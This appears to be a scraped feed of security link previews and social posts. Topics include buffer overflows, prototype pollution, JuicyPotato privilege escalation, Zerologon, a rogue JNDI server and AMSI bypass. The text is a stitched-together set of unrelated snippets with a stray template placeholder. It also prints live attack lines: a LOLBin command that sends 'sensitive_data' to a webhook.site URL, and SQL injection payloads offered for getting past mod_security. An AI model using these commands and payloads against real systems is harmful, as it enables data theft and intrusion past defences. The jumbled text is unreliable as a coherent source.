Contribute to rdoix/Buffer-Overflow-Cheat-Sheet development by creating an account on GitHub.

In this article I’ll cover the prototype pollution vulnerability and show it can be used to bypass client-side HTML sanitizers. I’m also considering various ways to find exploitation of prototype pollution via semi-automatic methods. It could also be a big…

Posted by Ben Hawkes, Project Zero When writing an Android exploit, breaking out of the application sandbox is often a key step. There are a...

Another way to use #LOLBins for data exfiltration "C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\bin\wsdl.exe" /server https[:]//webhook.site/xxxxx-xxxx-xxxxxx?sensitive_data 🚧UserAgent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol…

JuicyPotato was a go-to exploit whenever I found myself with a Windows shell with SeImpersonatePrivilege, which typically was whenever there was some kind of webserver exploit. But Microsoft changed things in Server 2019 to brake JuicyPotato, so I was really…

DmEnrollment Service - MDMdiagnostics Insecure registry export - Escalation of Privilege The DmEnrollemnt service provides functionality that exports various data relevant for adminstration of computers managed by central authorities as schools or workplaces.…

sql injection mod_security bypass usando distinct -1' union+select+1+--+✖️ -1' union+distinct+select+1+--+✖️ -1' and union+distinct+select+1+--+✖️ -1' and .0union+distinct+select+1+--+✅ un bypass no siempre es complicado #bypass #sql #CyberSecurity #payloads

This blog post will cover some lets say more advanced AMSI triggers. I decided to build a custom Invoke-Mimikatz script without AMSI trigger. I will also cov...

data:blog.metaDescription

A malicious LDAP server for JNDI injection attacks - artsploit/rogue-jndi

How PHP’s unserialize() works, and why it leads to vulnerabilities.

CVE-2020-1472: Zerologon Unauthenticated Domain Controller compromise of the computer account password. https://t.co/Qohp5MFe8j https://t.co/yTvyS1Ozgx

A self-hosted Fuzzing-As-A-Service platform. Contribute to microsoft/onefuzz development by creating an account on GitHub.

Introduction In recent years, the gaming industry has grown significantly, especially casino games and sports betting. Online casinos consolidate their position as one of the main sources of entert…

gameoverlay solution for Electron, Qt and CEF, just like discord game overlay and steam game overlay, inject any app to overlay in your game - hiitiger/gelectron